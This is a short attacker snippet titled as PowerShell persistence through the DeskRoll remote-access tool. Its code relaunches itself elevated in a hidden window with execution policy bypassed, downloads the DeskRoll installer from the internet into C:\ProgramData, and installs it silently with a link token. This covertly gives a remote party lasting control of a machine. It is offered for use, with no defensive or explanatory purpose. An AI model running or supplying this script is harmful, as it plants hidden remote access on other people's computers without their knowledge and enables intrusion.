Pwsh Persistence with Deskroll

[DimmuBurgor]

$downloadUrl = "https://deskroll.com/download/win/gtc/DeskRollSetup.exe"; $savePath = "C:\ProgramData\DeskRollSetup.exe"; $wc = New-Object System.Net.WebClient; try { Start-Process -FilePath "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -WindowStyle Hidden; $wc.DownloadFile($downloadUrl, $savePath); Write-Host "File downloaded successfully." } catch { Write-Host "An error occurred while downloading the file: $_" } finally { $wc.Dispose() }

cd c:\programdata; ./DeskRollSetup.exe /S --link_token=yourlinktokenhere